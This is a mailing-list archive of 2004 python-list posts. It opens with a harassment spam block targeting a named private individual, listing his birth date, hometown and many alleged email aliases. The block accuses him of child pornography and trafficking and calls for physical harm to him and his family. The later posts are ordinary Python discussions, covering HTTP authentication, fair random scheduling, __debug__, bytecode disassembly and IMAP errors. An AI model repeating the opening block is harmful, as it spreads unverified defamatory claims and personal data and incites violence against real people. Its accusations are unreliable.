vanlunsenhout at yahoo.com the > > > > date of birth of matt parker is sep 13 65 matt parker alias aniaparker at yahoo.com matt parker alias erick van lindt herzog at yahoo.com matt parker alias evan lindt hout at yahoo.com matt parker alias erik von lint at yahoo.com matt parker alias erik van lindt at yahoo.com lock up the bastard matt parker http://tinyurl.com/5psmo matt parker alias anya parker at yahoo.com matt parker alias groot aap at yahoo. > > > > com matt parker alias evanlint at nextiraone.be matt parker alias erickvan lintherzog at yahoo.com matt parker alias erick van lintherzog at yahoo.com matt parker alias erickvan lint at yahoo.com matt parker alias erick van lunsenhout at yahoo.com matt parker alias erick vonlintherzog at yahoo.com matt parker alias ericparker at yahoo.com matt parker alias erik vonlint hout at yahoo.com matt parker alias > > > > aparker at yahoo.com matt parker alias erick von lint at yahoo.com matt parker alias erikvon lindt hout at yahoo.com matt parker alias sergi smith at yahoo.com matt parker alias supermachine at yahoo.com matt parker alias eriklunsen at yahoo.com matt parker alias evon lunsen at yahoo.com matt parker alias erikvan lint hout at yahoo.com matt parker alias aparker at yahoo.com matt parker alias erik vanlinthout at yahoo. > > > > com matt parker alias erick von lint herzog at yahoo.com matt parker alias e vanlint at yahoo.com matt parker alias erik van lintherzog at yahoo.com matt parker alias kimberley parker at yahoo.com matt parker alias evan lunsen hout at yahoo.com the date of birth of matt parker is 13 9 65 matt parker alias erik van lindtherzog at yahoo.com matt parker alias anja parker at yahoo.com matt parker alias tatiana > > > > dochenkova at yahoo.com matt parker alias e van lunsen at yahoo.com matt parker alias ericvon linthout at yahoo.com matt parker alias erikvan lint at yahoo.com matt parker alias evon lindt herzog at yahoo.com matt parker alias erickvon lindtherzog at yahoo.com matt parker alias jjones at yahoo.com matt parker was born on 09 13 1965 matt parker alias n zaitzeva at yahoo.com matt parker alias kimberly parker at yahoo. > > > > com matt parker alias eric van lunsenherzog at yahoo.com make matt parker bleed http://tinyurl.com/v4oa matt parker alias ericvanlint herzog at yahoo.com matt parker alias e van lindt at yahoo.com matt parker alias jeff at yahoo.com matt parker alias eric von lindthout at yahoo.com matt parker alias michhelle at yahoo.com matt parker alias sergej smith at yahoo.com matt parker alias erikvon lindtherzog at yahoo. > > > > com matt parker from cottage grove oregon spams the net with childporn http://tinyurl.com/6kmea matt parker alias eric van lint hout at yahoo.com matt parker alias evonlindthout at yahoo.com matt parker alias erik vonlindtherzog at yahoo.com matt parker alias erik van lunsenherzog at yahoo.com matt parker alias erik vanlint hout at yahoo.com matt parker alias evon lindthout at yahoo.com matt parker alias > > > > eric vonlint hout at yahoo.com matt parker alias erick vanlunsen hout at yahoo.com matt parker alias erick vonlunsenhout at yahoo.com matt parker alias evon lindt hout at yahoo.com matt parker alias andyc at yahoo.com matt parker alias evlhevlh at yahoo.com matt parker alias gjones at yahoo.com matt parker alias e von linthout at yahoo.com matt parker alias erickvan lindt herzog at yahoo.com matt parker alias eric > > > > van linthout at yahoo.com matt parker alias eric vonlint at yahoo.com matt parker alias ericvon lunsenhout at yahoo.com matt parker alias eric vanlunsen at yahoo.com matt parker alias erickvonlunsenherzog at yahoo.com matt parker alias erik vanlunsen herzog at yahoo.com matt parker alias erick von lindt hout at yahoo.com matt parker alias erik vonlindthout at yahoo.com matt parker alias erickvon lindt > > > > herzog at yahoo.com matt parker alias erickvanlindtherzog at yahoo.com matt parker is guilty of illegal people trafficking and will be prosecuted matt parker makes false accusations to make others seem guilty of his criminal activities matt parker alias erick von lunsen at yahoo.com matt parker alias evon lint herzog at yahoo.com matt parker alias erickvanlindt hout at yahoo.com matt parker alias eric > > > > von lunsenhout at yahoo.com matt parker alias erik vanlintherzog at yahoo.com matt parker alias ericvonlindt at yahoo.com matt parker alias e vonlunsen at yahoo.com matt parker alias e vonlint hout at yahoo.com matt parker alias c cct at yahoo.com the date of birth of matt parker is sep 13 1965 matt parker alias erick van lunsen herzog at yahoo.com matt parker alias eric von lunsen hout at yahoo.com his real > > > > name is matthew s parker from cottage grove oregon and that is it matt parker alias e vonlintherzog at yahoo.com matt parker alias erickvon lunsenherzog at yahoo.com matt parker alias annparker at yahoo.com matt parker alias peace now at yahoo.com matt parker alias ericvon lunsen hout at yahoo.com all matt parker ever wanted to do was fuck scammer bitches anyway matt parker alias tatianadochenkova at yahoo. > > > > com matt parker alias sam smith at yahoo.com matt parker alias evon lunsen hout at yahoo.com matt parker alias ericvanlunsenhout at yahoo.com do physical material and moral harm to matt parker his wife and loved ones matt parker alias eric vanlunsenhout at yahoo.com matt parker alias tanyadchenka at yahoo.com matt parker alias erickvan lunsen at yahoo.com matt parker forges evidence to make others seem > > > > guilty of his criminal activities matt parker alias erickvanlintherzog at yahoo.com matt parker alias tania dochenkova at yahoo.com matt parker alias ericlunsen at yahoo.com the mail worm forwards this message to every address book entry matt parker alias sex-machine at yahoo.com this is hard evidence against matt parker http://tinyurl.com/59u3p matt parker alias erikvonlinthout at yahoo.com matt parker > > > > alias eric vanlint hout at yahoo.com matt parker alias ericvanlunsen herzog at yahoo.com the dismissed employees filed an official complaint against matt parker with the us embassy matt parker alias frankquisinsky at yahoo.com matt parker alias eric vanlint herzog at yahoo.com pin down the prick matt parker http://tinyurl.com/4cc39 matt parker commits online impersonation and harassment matt parker > > > > alias erikvon lunsenhout at yahoo.com matt parker alias e vonlindt herzog at yahoo.com matt parker alias e vanlindthout at yahoo.com matt parker sells underage mail order brides on the web matt parker alias e von lindthout at yahoo.com matt parker impersonates clients to make them seem guilty of his criminal activities damages will be claimed from matt parker to compensate financial loss matt parker > > > > alias eric van lunsenhout at yahoo.com matt parker alias tatjana dchenka at yahoo.com matt parker alias ericvonlunsen hout at yahoo.com matt parker alias erickvon lint hout at yahoo.com matt parker alias erikvonlunsenhout at yahoo.com matt parker alias sergei smith at yahoo.com matt parker alias erickvon lunsenhout at yahoo.com matt parker alias erickvan lunsen hout at yahoo.com matt parker alias > > > > evonlinthout at yahoo.com matt parker alias gerald jones at yahoo.com matt parker alias ericvonlinthout at yahoo.com matt parker alias evan lindthout at yahoo.com matt parker alias erik vanlunsenhout at yahoo.com matt parker alias erikvonlint hout at yahoo.com this is hard evidence that matt parker spams the net http://tinyurl.com/3htl2 matt parker alias andy c at yahoo.com matt parker alias evanlint > > > > herzog at yahoo.com matt parker alias eric vanlindthout at yahoo.com matt parker alias ericvonlunsenherzog at yahoo.com matt parker alias erick vonlint hout at yahoo.com matt parker alias eric von lunsenherzog at yahoo.com matt parker alias matthew parker at yahoo.com matt parker alias erikvon lintherzog at yahoo.com never submit a real email address to t%72uelove%73.com matt parker alias e vonlint at yahoo.com > > > > matt parker alias erikvonlunsenherzog at yahoo.com matt parker alias erikvan lindtherzog at yahoo.com matt parker alias sergeismith at yahoo.com matt parker alias http://www.erikvanlint.com matt parker alias eric vonlint herzog at yahoo.com matt parker alias erickvonlunsen herzog at yahoo.com matt parker was born on 13 09 65 matt parker alias erik vanlunsen at yahoo.com matt parker alias evonlindt > > > > hout at yahoo.com matt parker alias eric von lint at yahoo.com matt parker alias ericvanlindt herzog at yahoo.com matt parker alias erick von lindthout at yahoo.com matt parker alias erikvan lindthout at yahoo.com matt parker alias erik vanlint herzog at yahoo.com matt parker was exposed as a liar at http://tinyurl.com/6zs8c where he posts as jeff and trueloves matt parker alias erick vanlunsen at yahoo.com > > > > matt parker alias erick vanlindthout at yahoo.com matt parker alias erickvonlunsen at yahoo.com matt parker alias e lint at yahoo.com matt parker alias ericvon lindt hout at yahoo.com matt parker alias ericklindt at yahoo.com matt parker alias mparker at yahoo.com matt parker alias ericvan lindt at yahoo.com matt parker alias ericvanlint hout at yahoo.com matt parker alias eric vonlinthout at yahoo.com matt parker > > > > alias cy at yahoo.com matt parker alias e van lint at yahoo.com matt parker alias ericlindt at yahoo.com matt parker alias evonlint at yahoo.com anna parker is a russian whore wanted by the russian police for prostitution matt parker alias erik vonlinthout at yahoo.com matt parker alias e von lint herzog at yahoo.com matt parker alias eric vonlunsen herzog at yahoo.com matt parker alias erick vonlindt at yahoo. > > > > com matt parker alias erickvonlinthout at yahoo.com matt parker alias ericvan lunsenhout at yahoo.com matt parker alias evon lintherzog at yahoo.com matt parker alias erick lunsen at yahoo.com matt parker alias geraldjones at yahoo.com matt parker alias tanjadochenkova at yahoo.com matt parker alias best dayis now at yahoo.com every occurrence of this statement is automatically submitted to search engines the > > > > truth of this statement is proven by matt parker trying to delete or refute it matt parker alias erik parker at yahoo.com matt parker alias robertmiller at yahoo.com matt parker alias erickvan lint herzog at yahoo.com matt parker alias e van lunsen herzog at yahoo.com matt parker alias erik van lindthout at yahoo.com matt parker is a dangerous mentally deranged criminal and needs psychiatric confinement > > > > matt parker alias phillipcrew at yahoo.com From jjl at pobox.com Sun Sep 19 16:11:54 2004 From: jjl at pobox.com (John J. Lee) Date: 19 Sep 2004 21:11:54 +0100 Subject: HTTP - basic authentication example. References: <6f402501.0409150737.1bfc6958@posting.google.com> <6f402501040916022738bd70b5@mail.gmail.com> <6f402501.0409170026.36f24761@posting.google.com> <87isabn06u.fsf@pobox.com> Message-ID: <87fz5exblh.fsf@pobox.com> jjl at pobox.com (John J. Lee) writes: [...] > Assuming Python 2.4 (UNTESTED -- I haven't recently had occasion to > use any auth.): > > import urllib2 > import cookielib > import ClientCookie # for some more urllib2 handlers, for good measure ;-) > > def build_opener(realm, uri, user, password): > ch = cookielib.HTTPCookieProcessor() [...] Whoops, HTTPCookieProcessor is actually in urllib2, not cookielib. John From alanmk at hotmail.com Sun Sep 5 07:30:37 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Sun, 05 Sep 2004 12:30:37 +0100 Subject: python from Java In-Reply-To: References: Message-ID: [Ajay ] > can you call a Python application from a Java program? does this require > any additional package to be installed? Define what you mean by "call a python application". Are the python code and java code in the same process? Are they on the same machine? Are they on different machines connected on a network? Etc, etc. -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From aleaxit at yahoo.com Sat Sep 25 19:03:19 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 26 Sep 2004 01:03:19 +0200 Subject: Counter for items in lists in lists? References: Message-ID: <1gkp1yc.1nazukr16n6qslN%aleaxit@yahoo.com> Charlotte Henkle wrote: ... > I was given a problem by a friend. He is in a tennis group that has 6 > members. They play once a week for 10 weeks. They were having > trouble generating a schedule that was random but fair (IE everyone > gets to play a base number of times , and the mod is evenly and > randomly distributed). How many of the 6 members can play on each of those once-weekly occasions? > My first pass through was short and simple: Figure out the total > number of games that will be played, and then use something like this: > > gamePlayers=random.sample(templist, players_per_game) > > to fill up all the game slots. Neat, simple. > > The problem I found with this solution was that it didn't give me a > weighted list for remainder. The same person could get in all of the > "extra" games. Yep, you're being a bit "too random" there -- sampling with repetition. Consider random.shuffle: puts the players in arbitrary order but without repetition. Just pick whatever number at a time, say from the back -- doing so from the front would be just as good, but slower, so it might as well be from the back. When you're trying to pick more players than are left in the shuffled list you're peeling stuff from, make sure those get in then reshuffle the original list minus those who are already in, for the next time. Ah, natural language is SO complicated, let's put it in pseudocode. First, you'll need sets, since obviously there are set operations involved (e.g., "minus those who are already in" is goofy language for a set difference operation). So let's make sure we have sets. In Python 2.4, they're built-in; in 2.3, they're in module sets of the standard library. To ensure you run optimally in either release, star your program with: import random try: set=set except NameError: from sets import Set as set Now we're ready to write our pseudocode. At each step, i.e. each time another weekly game is planned, we'll have: some list X of players who haven't played yet in this 'round' in shuffled order; a request for N players for tonight; and of course the original set P of players. If N is less than the items in X we're in an easy case: if N < len(X): yield X[-N:] del X[-N:] i.e. we just yield the last N items of list X then remove those same items from further consideration in this round. If more players are going to play tonight, than there are items in X, it's a little bit more complicated. We need to prepare a shuffled list of all players except those who are alreayd in X...: else: newX = list(P-set(X)) random.shuffle(newX) and then yield the contents of X and the needed N-len(X) items of newX: fromNewX = N-len(X) yield X + newX[-fromNewX:] finally, we need to remove from newX the items we just yielded, and set the remainder as the new value of X for the next evening of play: X = newX[:-fromNewX] Great, but how do we get started? Heh, funny, if X is empty we're just in a starting position -- len(X) is 0 so we're gonna prepare newX, and we're gonna prepare it from the whole of set P... just as we want. So all the initialization we need is to make sure that P _is_ a set and that X is empty: P = set(P) X = [] Great -- now that we have our pseudocode, how do we turn it into actual working code? That's where Python shines, for the pseudocode we jotted down to help our thinking as we reasoned about the problem IS working Python code. We could rename X, P and N, but apart from that, here is the generator we need...: def choose_players(P, N): assert len(P) >= N > 0 P = set(P) X = [] while True: if N < len(X): yield X[-N:] del X[-N:] else: newX = list(P-set(X)) random.shuffle(newX) fromNewX = N-len(X) yield X + newX[-fromNewX:] X = newX[:-fromNewX] I've added a check that N makes sense (0 or fewer players, or more than the club's membership, being needed each time, obviously makes no sense!) and an unending loop around the whole thing. This is a nonterminating generator -- it won't ever stop iterating by itself; it needs to be called the appropriate number of times. I find that more useful than passing the generator a parameter telling it how many times to loop (you'd just need to add such a parameter T and change the while to 'for i in xrange(T):' -- but if you need to do that, you could just as well use iterator.islice or whatever to limit the numbers of steps over the generator...). Here's an example use...: for i, players in enumerate(choose_players(range(13), 4))): print players if i > 9: break Here there are 13 members, named 0 to 12, and each week 4 can play, for 11 weeks. You can run it a few times to eyeball it for correctness, but of course you'll want to check it out better eventually, for example: for number_of_tests in range(10): number_of_plays = 13*[0] for i, players in enumerate(choose_players(range(13), 4)): for p in players: number_of_plays[p] += 1 if i > 9: break for i in range(max(number_of_plays)+1): print '%d:%d'%(i, number_of_plays.count(i)), print You'll soon see that the results aren't as even as we wished, e.g.: kallisti:~/downloads alex$ python2.3 pla.py 0:0 1:0 2:2 3:4 4:7 0:0 1:0 2:1 3:6 4:6 0:0 1:0 2:0 3:8 4:5 0:0 1:0 2:0 3:8 4:5 0:0 1:0 2:2 3:4 4:7 0:0 1:0 2:1 3:6 4:6 0:0 1:0 2:1 3:6 4:6 0:0 1:0 2:0 3:8 4:5 0:0 1:0 2:0 3:8 4:5 0:0 1:0 2:0 3:8 4:5 ooops -- the 44 available 'slots' are NOT always divided "three apiece and a fourth one for 5 lucky ones of the 13 members" -- sometimes one or even two members play only twice! So what's wrong with the pseudode we had so nicely worked out...? Hmmm, clearly the 'left over' 13th player who first gets to play on the 4th night isn't given a chance to play again soon enough... he should go right back into the new X. Can we fix that? We can sure try, just change in the above: newX = list(P-set(X)) random.shuffle(newX) fromNewX = N-len(X) yield X + newX[-fromNewX:] X = newX[:-fromNewX] into: newX = list(P-set(X)) random.shuffle(newX) fromNewX = N-len(X) yield X + newX[-fromNewX:] X += newX[:-fromNewX] random.shuffle(X) Ah, NOW our tests are more satisfactory -- huge runs of 0:0 1:0 2:0 3:8 4:5 just as we wanted! Of course, that's no mathematical _proof_ that our procedure is correct -- indeed, it's QUITE interesting to provide such a proof (but I have no space left in the margins of this post to do so...:-). I hope that by showing you how a little program can evolve in real life, from specs to thinking in pseudocode to Python, eyeball-testing, better testing (with counting;-), correction of some problem, ..., I may have helped you on your way to "thinking like a programmer"!-) Alex From danperl at rogers.com Thu Sep 30 15:56:44 2004 From: danperl at rogers.com (Dan Perl) Date: Thu, 30 Sep 2004 15:56:44 -0400 Subject: idiom for debug code? References: Message-ID: Thanks. I'll have to look more into the consequences of being dependent on the use of the "-O" option, but it might be useful. I'm wondering about "-O" because then it all depends on how you are running the script. I usually have a #!/usr/bin/env python at the beginning of the top-level script and I run it without explicitly invoking 'python'. Also, I haven't used py2exe yet and I wonder how "-O" would fit with that. Like I said, I would have to look into it more, but it is an interesting idea. Why are assignments to __debug__ illegal? I tried to assign to it and it raised a SyntaxError exception, so it is enforced. But anyone knows what is the reason behind this design choice? I've done a search on that and I found a few interesting things, but still no reason. BTW, here are some of those interesting things, basically matters of history: "After a public outcry, assignment to __debug__ is no longer illegal; instead, a warning is issued. It will become illegal in 2.2." (http://www.python.org/2.1/NEWS.txt) "The assert statement no longer checks the __debug__ flag, so you can no longer disable assertions by assigning to __debug__. Running Python with the -O switch will still generate code that doesn't execute any assertions." (http://www.python.org/doc/2.3.4/whatsnew/node17.html) Looking back on the documentation for assert, I see that it actually says "is equivalent to", so there is no conflict between the two documents. But that raises the question: what is __debug__ meant for now? And what does "-O" do besides disabling assertions? I don't see any difference in performance when running my script with or without "-O". Dan "Robert Brewer" wrote in message news:mailman.4149.1096566273.5135.python-list at python.org... Dan Perl wrote: > Is there a mechanism or an idiom for adding code for > debugging so that it > can easily be removed in the production code? I am thinking > of something > similar to the C/C++ preprocessor statements with which you > can compile an > application with the debug code or without it (the default). >From the docs (http://docs.python.org/ref/assert.html): ---- The simple form, "assert expression", is equivalent to if __debug__: if not expression: raise AssertionError The extended form, "assert expression1, expression2", is equivalent to if __debug__: if not expression1: raise AssertionError, expression2 These equivalences assume that __debug__ and AssertionError refer to the built-in variables with those names. In the current implementation, the built-in variable __debug__ is 1 under normal circumstances, 0 when optimization is requested (command line option -O). The current code generator emits no code for an assert statement when optimization is requested at compile time. Note that it is unnecessary to include the source code for the expression that failed in the error message; it will be displayed as part of the stack trace. Assignments to __debug__ are illegal. The value for the built-in variable is determined when the interpreter starts. ---- ...which implies other uses for __debug__, I think, which might fit your needs. Robert Brewer MIS Amor Ministries fumanchu at amor.org From reynirhs at mi.is Wed Sep 1 01:42:45 2004 From: reynirhs at mi.is (Reynir Stefánsson) Date: Wed, 01 Sep 2004 05:42:45 +0000 Subject: Xah Lee's Unixism References: <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134AC88.56452265@yahoo.com> Message-ID: <49naj0l3s4cgja010pi2q2si7nrej4fv1a@4ax.com> So spake red floyd: >CBFalconer wrote: > >> Dump Notepad and get Textpad. www.textpad.com. First class. >> > >Let the editor flame wars begin! > >Get gv im!www.vim.org In that case, I'll make a word for the microEmacs line. I very much like MEWIN (a Windows 3.1 version of, I think, me311). It even has user-definable newlines. -- Reynir Stef?nsson (reynirhs at mi.is) From peter at engcorp.com Tue Sep 21 14:48:11 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 Sep 2004 14:48:11 -0400 Subject: class size In-Reply-To: References: Message-ID: Brad Tilley wrote: > How large (lines of code) should a class be before one should split it > into smaller classes? Is there a general rule on this? How many > functions should a class contain? Are there limits (theoretical or > practical) that people learning classes should adhere to? Discussing this issue quantitiatively is wrong. The real concern should be about things like coupling, coherency, readability, and maintainability. Learn about those concepts and work on lots of code, yours and other people's, until you have developed an ability to judge when, in a given case, there are "too many" lines, "too many" classes, "too many" methods. There are no strict rules that are useful. On the flip side, if 99% of modules should have fewer than 100,000 lines of code, and putting 70 classes in a single module is probably a bad idea. ;-) -Peter From martin at v.loewis.de Fri Sep 3 03:42:58 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 03 Sep 2004 09:42:58 +0200 Subject: compiling to python byte codes In-Reply-To: <4137f79f$1@news.unimelb.edu.au> References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> <4137e739$1@news.unimelb.edu.au> <4137f79f$1@news.unimelb.edu.au> Message-ID: <4138207f$0$182$9b622d9e@news.freenet.de> Maurice LING wrote: >> If you're using registers, I guess you'd have to store the values in >> variables, and load/store them through the stack whenever you do an >> operation -- maybe with some optimization if you can keep the result >> on the stack. > > > I dont't quite get this right. Since x86/PPC uses register operations, > why do virtual machines, like python's and java's, are designed as stack > machines? Why not just stick to registers? I really think you should study programming language implementations for some time before approaching your problem. For an interpreter, what the processor does is completely irrelevant (not completely if you have a just-in-time compiler, as that needs to generate machine code, but totally irrelevant if you have an interpreter). Using a stack-based implementations allows to simplify the opcodes - many opcodes don't need parameters, or atmost a single parameter. This allows to survive with less than 256 opcodes, which is the source for calling these opcodes "byte code". That, in turn, allows for an implementation that uses an "interpreter loop", which consists of a "giant switch". In x86, a single instruction has between 1 and 20 bytes, and the decoding process (finding out what the instruction does) is very lengthy. For a microprocessor, this doesn't matter, since it is done in hardware, and in parallel with executing other instructions (pipelining). For an interpreter, the decoding process must be superfast, and therefore supersimple. Regards, Martin From mwh at python.net Tue Sep 7 08:21:50 2004 From: mwh at python.net (Michael Hudson) Date: Tue, 7 Sep 2004 12:21:50 GMT Subject: Proto-PEP: Overloadable Boolean Operators References: <413AEEF9.7060102@cosc.canterbury.ac.nz> <1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com> <2q4s80Fr7lqtU1@uni-berlin.de> <1gjqh4o.1vx3ihvbruzjfN%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) writes: > Andrew Durdin wrote: > > > On Tue, 07 Sep 2004 16:37:18 +1200, Greg Ewing > > wrote: > > > Alex Martelli wrote: > > > > Problem is, __nonzero__ is currently > > > > typechecked -- it has to return an integer. > > > > > > Yes, that's the problem. I should probably elaborate > > > on that a bit in the PEP. > > > > That is not the only issue with __nonzero__ versus __not__ -- in some > > cases (e.g. the symbolic algebra or SQL query constructor) it is > > useful to determine when an explicit "not" operator has been used. > > Yes, you're right, and my assertion was flawed. Typechecking is only > part of the issue. > > > > I'm not at a machine with the patch installed on it at the moment, but > > I just began to whether this patch would have an effect on expressions > > like (a < b < c) (which are also short-circuiting)... Come to think > > of it, how do objects which override __gt__ and the other comparisons > > (particularly for expression construction) work in that case? > > I believe a < b < c has exactly the semantics of [but with no doube > evaluation of b...]: > (a < b) and (b < c) > > Overriding _lt_ to give a print seems to confirm that: dis.dis can be used to give the same impression: >>> def f(a, b, c): ... return a < b < c ... >>> def g(a, b, c): ... return a < b and b < c ... >>> dis.dis(f) 2 0 LOAD_FAST 0 (a) 3 LOAD_FAST 1 (b) 6 DUP_TOP 7 ROT_THREE 8 COMPARE_OP 0 (<) 11 JUMP_IF_FALSE 10 (to 24) 14 POP_TOP 15 LOAD_FAST 2 (c) 18 COMPARE_OP 0 (<) 21 JUMP_FORWARD 2 (to 26) >> 24 ROT_TWO 25 POP_TOP >> 26 RETURN_VALUE 27 LOAD_CONST 0 (None) 30 RETURN_VALUE >>> dis.dis(g) 2 0 LOAD_FAST 0 (a) 3 LOAD_FAST 1 (b) 6 COMPARE_OP 0 (<) 9 JUMP_IF_FALSE 10 (to 22) 12 POP_TOP 13 LOAD_FAST 1 (b) 16 LOAD_FAST 2 (c) 19 COMPARE_OP 0 (<) >> 22 RETURN_VALUE 23 LOAD_CONST 0 (None) 26 RETURN_VALUE Cheers, mwh -- at any rate, I'm satisfied that not only do they know which end of the pointy thing to hold, but where to poke it for maximum effect. -- Eric The Read, asr, on google.com From jmfbahciv at aol.com Sun Sep 12 07:51:17 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Sun, 12 Sep 04 11:51:17 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: <41444b6a$0$6932$61fed72c@news.rcn.com> In article <4141c830$0$65574$a1866201 at newsreader.visi.com>, Grant Edwards wrote: >On 2004-09-10, Alan Balmer wrote: > >>>It's been revealed that here in British Columbia (that part of >>>Canada on the Pacific coast for those of you who are geographically >>>challenged), management of medical information has been farmed out >>>to a subsidiary of a U.S. corporation. According to the Patriot Act, >>>the U.S. government is entitled to access these files, and anyone - >>>American or Canadian - who so much as mentions that they're doing it >>>can be thrown into a U.S. jail. >> >> Can you point to the relevant section(s) of the Act? >> >> Can you point to the international agreement which allows Canadian >> citizens to be thrown into US jails for the stated offense? > >I know I shouldn't reply to threads like this, but I just can't >help it... > >What makes you think that the current US government gives a >shit about international agreements? Bush thinks he's entitled >to declare anybody and everybody an "enemy combatant" and lock >them up in secret forever. Would rather he do like Italy? They are letting them go. Then these released people go blow up something else. /BAH Subtract a hundred and four for e-mail. From bwilk_97 at yahoo.com Sat Sep 18 07:35:53 2004 From: bwilk_97 at yahoo.com (Bill Wilkinson) Date: 18 Sep 2004 04:35:53 -0700 Subject: wxPython Not Ready for Commercial Use References: Message-ID: <8e61d9bd.0409180335.3f5c9e58@posting.google.com> admin at polerio.com (Polerio Babao Jr.II) wrote in message news:... > > I am targetting crystal report as my ideal reporting application. From > my experiences I was not able to print a very good output for > commercial application. If anyone can provide me a very good reporting > application that can be integrated within python I must say python can > be used for commercial gui app. If not then we are all correct, python > is good for training purposes but not for production yet. Please > excempt reportlab from your choices as I have used it already and was > not able to simulate excel like output, still you can do it, the very > difficult way. I am just dissapointed, now I am trying to learn c++/qt > to solve my gui and printing problem. Please correct me if I am wrong. > Thanks. I use Jython with the POI libraries for publishing to Excel. http://jakarta.apache.org/poi/ There is a Java version of Crystal Reports now. You can also use Jasper Reports: http://jasperreports.sourceforge.net . Both of these can be used nicely from Jython. From aahz at pythoncraft.com Mon Sep 20 18:32:53 2004 From: aahz at pythoncraft.com (Aahz) Date: 20 Sep 2004 18:32:53 -0400 Subject: So I guess PyUI is long abandonded? What else is there? References: <864d3709040918140135a95917@mail.gmail.com> Message-ID: [p&e per request, but please don't return the favor] In article , Martin Maney wrote: > >This truly does help. Now I can stop wondering whether it was >something I was doing wrong and walk away from this waste of time. >Would some god-like person with access please make a note of this on >the uneditable PyUi page on the wiki? Then there'd be at least a >chance others could avoid wasting their time. Which wiki? If you're talking about the one on python.org, you need to go through the UserPreferences link to get yourself an account, but after that, Bob's your uncle. (Even works with Lynx, as long as cookies are enabled....) -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "A foolish consistency is the hobgoblin of little minds, adored by little statesmen and philosophers and divines." --Ralph Waldo Emerson From bokr at oz.net Sat Sep 4 16:07:36 2004 From: bokr at oz.net (Bengt Richter) Date: 4 Sep 2004 20:07:36 GMT Subject: print with no newline References: <2prasrFo4rruU1@uni-berlin.de> Message-ID: On Fri, 03 Sep 2004 16:36:31 +0200, Peter Otten <__peter__ at web.de> wrote: >Paul Watson wrote: > >> I thought that using a comma at the end of a print statement would >> suppress >> printing of a newline. Am I misunderstanding this feature? How can I use >> print and not have a newline appended at the end? > >I thought that, too. It turns out that Python writes an additional newline >on exit if the softspace flag is set. So > >$ python -c "import sys; print 'here',; sys.stdout.softspace = False" > >tmp.txt >$ od -c tmp.txt >0000000 h e r e >0000004 > >is a viable if ugly workaround. > When I want printf-like control, I sometimes use (IIRC from last time ;-) >>> import sys >>> def printf(fmt, *args): sys.stdout.write(fmt % args) ... >>> printf('here') here>>> >>> printf('here %s\n', 'doggie') here doggie >>> Regards, Bengt Richter From t-meyer at ihug.co.nz Wed Sep 15 02:35:30 2004 From: t-meyer at ihug.co.nz (Tony Meyer) Date: Wed, 15 Sep 2004 18:35:30 +1200 Subject: IMAP4 example in docs causes memory error for me (OS X 10.3, python 2.3) - help? In-Reply-To: Message-ID: > I am running the IMAP4 example in the documentation: > > http://www.python.org/doc/lib/imap4-example.html > > with two small changes (different username, comment out print > statement). The inbox I am accessing is 42 MB and has > 80-someodd messages, so the messages are fairly big (all of > them have attachments). When I run this program, I get a > malloc error. Background: I don't have access to a mac at the moment to test this there, so this is theory based. However, I do look after the IMAP filter script that's part of SpamBayes, so get a fair bit of mail about that, including from mac users. Some of those have reported much the same error, and googling about for information gives some, although not a lot. The information that I found at the time indicated that this was the result of a change introduced with OS X 10.3. The problem always occurs at line 301 of socket.py, which is basically just retrieving the data from the socket. Under the hood (i.e. in the C of the socket module, around line 2024), all it's really doing is allocating memory for the amount to be received, and receiving it. With SpamBayes, I just wormed around the problem (i.e. I skipped those messages). If you do need to get hold of them, then I imagine that this will be rather annoying to fix. My ideas at the moment are: * I suspect that you could retrieve chunks of the message (with the appropriate IMAP commands) and then put it all together afterwards. * You could modify imaplib (or have a subclass) that (in _getresponse()) alters the way that literals are read (i.e. change it to chunks). * Otherwise, particularly if you are able to run with a modified Python, you could try fixing up socketmodule.c to do this more nicely on OS X. I plan to look into it more at some point, but have no idea when I'll have time. If you do find a workable solution, please post it to the list, as it would definitely be of interest. > Now, I'm really new to python programming, but > it was my understanding that memory management was not > something I had to explicitly do. I'd appreciate some help in > understanding what I've done wrong. FWIW, you shouldn't ever need worry about the malloc'ing with Python (unless you're writing extensions etc). This is a very odd case, caused by some OS X 10.3 oddity. I'm fairly confident that if you wrote a (correct) little C program that asked for the same amount of memory, OS X would fail there, too. =Tony Meyer From benevilent at optusnet.com.au Wed Sep 15 03:11:22 2004 From: benevilent at optusnet.com.au (benevilent at optusnet.com.au) Date: Wed, 15 Sep 2004 17:11:22 +1000 Subject: SIGILL,Illegal instruction Message-ID: Hey, Occasionally I am getting a SIGILL instruction when embedding the python Interpreter. Here is a backtrace: #0 0x0810b73e in try_3way_to_rich_compare (v=0x8ffe7a4, w=0x8220420, op=0) at Objects/object.c:946 #1 0x0810ba49 in PyObject_RichCompare (v=0x8ffe7a4, w=0x8220420, op=0) at Objects/object.c:1042 #2 0x08149c6b in cmp_outcome (op=0, v=0x8ffe7a4, w=0x8220420) at Python/ceval.c:3880 #3 0x081448d2 in eval_frame (f=0xcb4dd1c) at Python/ceval.c:1965 #4 0x08148cad in fast_function (func=0x535babc4, pp_stack=0xbfffba04, n=3, na=3, nk=0) at Python/ceval.c:3518 #5 0x08148aa2 in call_function (pp_stack=0xbfffba04, oparg=2) at Python/ceval.c:3458 #6 0x08145076 in eval_frame 